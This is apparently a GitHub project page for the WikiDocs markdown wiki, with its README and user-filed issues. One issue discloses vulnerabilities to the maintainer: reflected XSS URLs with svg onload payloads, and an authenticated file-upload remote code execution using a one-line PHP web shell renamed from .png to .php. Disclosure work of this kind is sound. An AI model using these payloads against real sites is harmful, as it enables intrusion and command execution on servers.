Giter VIP home page Giter VIP logo

wikidocs's Introduction

Wiki|Docs

Just a databaseless markdown flat-file wiki engine.

Project homepage: https://www.wikidocs.it

Please consider supporting this project by making a donation via PayPal

Wiki|Docs presentation and contributors recruitment on YouTube

Features

  • Open source
  • Plain text files
  • No database required
  • Markdown syntax
  • Editor full WYSIWYG
  • Support for math KaTeX
  • Unlimited page revisions
  • Uploading and downloading Attachments
  • Uploading images (also from clipboard)
  • Content can be categorized in namespaces
  • Automatic generated index and sitemap
  • Public and private browsing
  • Syntax highlighting
  • Multi language
  • Dark mode
  • Sitemap
  • and many more...

Demo

Try the demo playground at: http://demo.wikidocs.it

Authentication code is: demo

Setup

Manual

Download the lastest release or clone the repository with git clone https://github.com/Zavy86/wikidocs.git

Docker

There is a Docker image that sets up Wiki|Docs with Apache2 and PHP automatically.

Quick run

docker run -d -p 80:80 zavy86/wikidocs

Additional settings

docker run --name wikidocs -d -p 80:80 -v /path/to/local/wikidocs/datasets/or/volume:/datasets -e PUID=1000 -e PGID=1000 zavy86/wikidocs

With Docker Compose

version: '3'

services:
  wikidocs:
    image: zavy86/wikidocs
    environment:
      - PUID=1000
      - PGID=1000
    ports:
      - 80:80
    volumes:
      - /path/to/local/wikidocs/datasets/or/volume:/datasets

Apache Configuration

Automatic

  • The setup.php script will automatically create both datasets/config.inc.php and .htacess files

Manual

  • Copy the configuration sample file cp datasets/config.sample.inc.php datasets/config.inc.php
  • Edit the configuration file nano datasets/config.inc.php
  • Create the .htaccess file like this:
<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteBase /
	RewriteCond %{REQUEST_FILENAME} !-f
	RewriteRule ^(.*)$ index.php?doc=$1 [NC,L,QSA]
</IfModule>
  • Make sure that RewriteBase is the same as the PATH in the configuration file included trailing slashes

Nginx Configuration

Manual

  • Use this as Nginx configuration for WikiDocs:
    ...
      location ~* \.(css|js|jpg|jpeg|png|gif|ico|svg)$ {
          try_files $uri =404;
          add_header Cache-Control "public, max-age=3600";
      }
      location / {
          if (!-e $request_filename){
              rewrite ^/(.*)$ /index.php?doc=$1 last;
          }
          try_files $uri $uri/ =404;
      }
    
  • Copy the configuration sample file cp datasets/config.sample.inc.php datasets/config.inc.php
  • Edit the configuration file nano datasets/config.inc.php

Customization

You can customize the default template by creating the file styles/styles-custom.css.

Developers

Creator

Manuel Zavatta

Contributors

License

Code released under the MIT License

wikidocs's People

Contributors

aaadonai avatar bitwisecreative avatar ffiesta avatar jv3ga avatar kevwkev avatar leomoon avatar miguelrenato avatar nicolas35380 avatar reyemxela avatar sam-6174 avatar serial avatar singer-safelog avatar vorons avatar zavy86 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

wikidocs's Issues

mobile version, edititng and saving a page won't really save the edits.

It fails in both mobile Firefox and Chrome.
On the cellphone forcing desktop version all works fine.
On desktop Firefox all works fine.

Used latest main version. Chances are the issue is in the editor module.
Cheers and thanks for this great app :)

edit: please let me know if this is enough, otherwise I will share a screen recording with you.

Multiple Vulnerabilities in WikiDocs 0.1.18

CVE-2022-23376 / Multiple reflected XSS vulnerabilities on different pages.

1. (Template.inc.php) - Reflected XSS Injection

First vulnerability in line 47:
image
Second is in line 210:
image
XSS directly using url: https://www.wikidocs.it/?search=%3Csvg/onload=%27alert(%22XSS%22);%27%3E

2. (Submit.php) - Reflected XSS Injection

Vulnerability in line 31:
image
XSS directly using url: https://www.wikidocs.it/submit.php?act=%22});%3C/script%3E%3Csvg/onload=%27alert(%22XSS%22);%27%3E

3. (Index.php) - Reflected Xss Injection:

image

CVE-2022-23375 / Authenticated remote code execution vulnerability

(Index.php) - Image upload, Authenticated Remote Code Execution:

first, log in to the website and click edit button on the right top:
image
Before upload proccess, we have to create malicious payload image:
image
name: shell.php.png
payload :

<?php echo system($_REQUEST['cmd']); ?>

After that, you have to click image button on top and upload image:
image
Select malicious file and click upload:
image
In upload process, change file extension to the PHP in the POST request:
image
then the browser automatically sends another request to the malicious file:
image
Just browse it and try to execute some commands:
image

Information Disclosure Vulnerability (I did not reserve CVE for this one)

(Functions.inc.php) - Debug mode can be enabled:

Vulnerable lines are between 15-18:
image
You can get sensitive information using debug mode:
image

I hope you wil close these vulnerabilities ASAP.

non rewrite flavour ?

any way to avoid rewrite, vendors sometimes dont allow this!

or at leas any way to made it using internally or to bypass to educationall use

Homepage/

Is there anyway to drop the homepage/ part of the url? I wouldn't want everything having the homepage/ in the url... for example... a subject i'd prefer to see (domain name)/(page name)

top buttons don't show the images in firefox on my system

Screenshot_20230509_015647
The tooltips make their function obvious, and it might be possible to fix this in css.
In Vivaldi browser, the button images show, in firefox not.
This may be related just to my operating system (MX Linux), as I think I have a similar problem in another web server application.

No "homepage?auth"

I tried another version.

This time WikiDocs-0.1.8.zip instead of WikiDocs-master.zip
When I tried to login, it looked for "homepage?auth" but there is no "homepage" directory, and there is no "auth" anything anywhere.

svg image

The uploaded file does not support svg image format and html code support. Will you consider adding features in the new version?

back to top link

There are only 2 (fairly minor) features that I feel are missing:

  • A right side bar with content of headings on the page that is being viewed (created from H2 and H3 headings on the page) to make navigation within the page easier
  • A back to top button to prevent sometimes long scrolling up

Originally posted by @stormpaul in #75 (comment)

Pages will not delete

Despite receiving a notification that a page has been deleted, the page will not delete.

No Way to Organize Pages?

First off, I love Wiki|Docs!

However, I cannot figure out a way to order the page. The pages MUST appear in a specific order, that's what wikis do, present information in a specific, "organized" way. Even when I number the pages the system does not adhere to the order.

Suggestions or fix?

Unable to Save Settings in Docker Environment

Describe your issue

Settings won't be saved when started from Docker.

Device and settings

Ubuntu 22.04. Docker Desktop.

Steps to reproduce

  • Spin up a new Docker, with volume mount to /datasets.
  • Navigate to Settings page.
  • Make changes and click Save.
  • It says "Settings Stored."
  • Go back to the Settings page, nothing has changed.
  • There's no log in the console.

Screenshots (optional)

No response

Extra fields

  • I'd like to work on this issue

Improvement: choose language on setup

There's no so many menus and options, but it would be nice to choose the language. Once you put the mechanism to do so I can (want) to help you to translate it to spanish.

nginx config file

Hello und a big thanks for this great wiki!

A have a small Test-Installation on apache2, that works perfect. My Main-Installation should run on nginx but i have problems with the rewrite rule. Can you help?

$ nano /etc/nginx/sites-available/wiki

....
        location  / {
             index index.php;
             try_files $uri $uri/ =404;
                  if (!-f $request_filename){
                        set $rule_0 1;
                  }
                  if ($rule_0 = "1"){
                        rewrite ^/(.*)$ /index.php?doc=$1 last;
                  }
        }
        location ~ \.php$ {
            include fastcgi_params;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            fastcgi_pass unix:/run/php/php8.0-fpm.sock;
        }
}

The MarkDown editor menu bar icon does not load

Hello, developer.
New installation of the latest version in the virtual machine, using Apache,PHP8.1 and 7.2 environment
The MarkDown editor menu bar icon does not load

Attached picture
image

Bad render header/tags

imaxe

imaxe

Header 1 is a # followed by a space.

When #diary is rendered as a header and should not.

Very thanks for your work.

Newlines in page content are not displayed correctly

Describe your issue

When using newlines in a page content, it all looks fine in the editor and also in the preview. But when the content is saved and the page is displayed in read-mode, the newlines are ignored.

When editing the page again, the newlines are still there in the editor and preview, so they are not removed from the content.

Device and settings

nginx: 1.22.1 PHP: 8.2.7

Steps to reproduce

  1. Install WikiDocs on nginx 1.22.1 with PHP version 8.2.7
  2. Edit / add some page content with newlines
  3. Save the page

Screenshots (optional)

image
image

Extra fields

  • I'd like to work on this issue

Link to headers in pages

Describe the feature

I started to use WikiDocs and this project is amazing, thanks!

Is that possible to have links to headers inside the pages? For example, I have a page with Header 1, subheader 1, subheader 2, etc. I would like to have a link to subheader 2 directly.

Thank you!

Is your feature request related to a problem? (optional)

No response

Screenshots (optional)

No response

Extra fields

  • I'd like to work on this feature

javascript error on save

Hi - I have just installed WikiDocs on my VPS
The installation was easy (though the automatic configuration script did not work).
I would have liked a better explanation of what to do regarding the generation of an MD5 hashed password, but I figured it out (and found a website that provides a hashing service). (The hash goes in the back end, the password itself in the front end, for anyone as stupid as me.)
Anyway, after logging in, and trying to edit the title, a javascript dialogue box pops up about every second with "draft_saving_error".
This happens in Firefox and Vivaldi.
My server is running PHP 8.2.
Thanks

Suggestion: Use EasyMDE and ParsedownExtended

Hey, I'm currently playing around with the tool.

I noticed that you are using SimpleMDE and Parsedown to edit and display the md files. I suggest using EasyMDE instead of SimpleMDE as SimpleMDE is not actively developed anymore.

Also I suggest using ParsedownExtended in addition to Parsedown as it comes with many handy features for a wiki / documentation tool and is able to display KaTeX as requested in issue 16 :)

homepage was not created & does not seems to work

I filled out all of the config stuff. Got all green checkmarks. Clicked "continue" but it could not find homepage.

I created a homepage directory. But I just get an index when I try to go there.

Mermaid Diagrams Support ?

Describe the feature

Any chances of getting mermaid diagrams support in WikiDocs (similar to markdown preview enhanced) ?

Is your feature request related to a problem? (optional)

Diagramming features in markdown

Screenshots (optional)

No response

Extra fields

  • I'd like to work on this feature

Implement Mathjax and/or KaTeX

This is really cool, I'd love to use it for uni instead of dokuwiki because markdown is more common.

Is there anyway to include LaTeX though?

If there was an easy way to include JavaScript in the html that would work.

[Feature Request] Allow custom markdown file names (other than content.md)

Describe the feature

Loving WikiDocs so far! It has basically all the features I need and functions the way I want / expect vs others like OtterWiki and flatnotes

The one thing in my early testing that makes it feel a bit "proprietary" is the file structure. It seems to force each markdown file to be called content.md and be in it's own folder.

While I see the organizational advantages to this it makes it difficult to port over markdown from other tools such as Otter or flatnotes or vice versa. It locks you into the paradigm used by WikiDocs, which feels like it defeats a bit of the purpose of using an open standard like markdown because the function and portability of the content is almost database like.

It would be great if WikiDocs at least could "read" any markdown file in the folder structure and add it to the navigation bar and allow editing of those files.

Is your feature request related to a problem? (optional)

No response

Screenshots (optional)

No response

Extra fields

  • I'd like to work on this feature

Images

Describe your issue

No matter what I try images are always shown center a lined, this is driving me crazy no where does it say this would be the case and it's driving me nuts I need images at the start of some of my paragraph's in line with the text but this software is like no you can sod off, and it also does not format things right even when you add the lines you tell us to in the wiki about markdown but you also forget to tell people to add two spaces after anything you add or it will render/convert the markdown code.

I shouldn't have to reply to tables or html to fix this.

Device and settings

Device does not matter, Chrome based Browsers yes many different onces, Brave, Windows, Chrome and Embeded/

Steps to reproduce

Use any image and try make it inline

Screenshots (optional)

No response

Extra fields

  • I'd like to work on this issue

Undefined

How to fix it?
Thanks.

\xampp\htdocs\test\functions.inc.php on line 23

Undefined array key in ParsedownFilter

Hey Zavi,
I noticed a disproportionate number of entries in the webserver error log with the following message:

[proxy_fcgi:error] AH01071: Got error 'PHP message: PHP Warning: Undefined array key "name" in [abspath]/libraries/parsedown-filter-0.0.1/ParsedownFilter.php on line 23

I did not checked what the file is exactly for, but can you implement something like isset or is_array there to check for array key exists.

It is throwing multiple times on page loads, so the error log is just getting bigger.

Error 404 Page not found

I am running debian.

I downloaded the zip file and unzipped in /var/www/html

I changed the name of Wikidocs-master directory to wikidocs

After running setup.php. The .htaccess was not created, so I created it by copy-pasting the .htaccess you posted.

Also no homepage directory was created, so I created one.

I go to either localhost/wikidocs or /localhost/wikidocs/index.php
And I get:

Error 404
We are sorry but the page you are looking for does not exist.
Click the edit button to create this page!

The edit button takes me to:

http://localhost/wikidocs/homepage/?edit
Index of /wikidocs/homepage

Search Function broken?

Just leaving this here. Love this wiki but yes, the search is broken on it at the moment.

NGINX config

Can someone please post a working NGINX config for rewrite

Thank you

Embed

Embed videos from youtube and open a new window ( link{:target="_blank"} ) not working.

HTTP ERROR 500

After running the setup I get an
HTTP ERROR 500

it has created .htaccess file and config.inc.php file

Youtube embed

Please please please can you integrate embed from YouTube... if you could do this then i'd absolutely use this and would support development

[Feature Request] Change behaviour of link creator in editor

Describe the feature

In most apps when you use the feature to create a link when you have text selected (either with a menu button or a keyboard shortcut like CTRL/CMD+K) it will put the cursor in a position where you can paste in the contents of your clipboard which presumably is a URL. This makes creating a link very slick and easy after highlighting the text for the link.

However, in WikiDocs if you select text then hit the link button or CTRL/CMD+K it keeps the original text highlighted and adds https:// into the parenthesis which means you have to manually move the cursor, delete the https, then past in the link. This is a bit cumbersome and has more room for error.

Would be amazing if it would keep the parenthesis empty and just put the cursor between them so you could just hit CTRL/CMD+V to past in the link. Much slicker!

Is your feature request related to a problem? (optional)

No response

Screenshots (optional)

Green bar represents where the cursor would be.
image

Extra fields

  • I'd like to work on this feature

REFACTORING

Hi everyone, I'm going to do a major refactoring of Wiki|Docs.
If you are interested in contributing to this project leave a reply in this thread.
Thanks for all!

Watch Wiki|Docs presentation and contributors recruitment on YouTube:
Wiki|Docs presentation and contributors recruitment on YouTube

Dark Mode cannot be enabled?

Describe your issue

Maybe I'm missing something in the readme or docs etc but the dark mode checkbox is the settings is not checkable. Nothing happens when I click it.

I went into the page HTML and added the 'checked' property and saved and it enabled dark mode but I have not idea why it isn't checkable in the webpage normally.

Device and settings

Client: Safari & Brave (i.e. Chrome) on macOS. Server: latest version of WikiDocs via :latest tag

Steps to reproduce

Go into Settings and try to check the Dark mode box.

Screenshots (optional)

n/a

Extra fields

  • I'd like to work on this issue

Size tables based on content

Describe the feature

Currently tables expand to 100% width by default and I'm not sure if there is any way to change that. I think it would be preferable in most cases to have them only be as wide as the content dictates like other wiki apps

Is your feature request related to a problem? (optional)

No response

Screenshots (optional)

otterwiki table
image

flatnotes table
image

WikiDocs table
Screenshot 2023-12-28 at 8 06 20 PM

Extra fields

  • I'd like to work on this feature

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.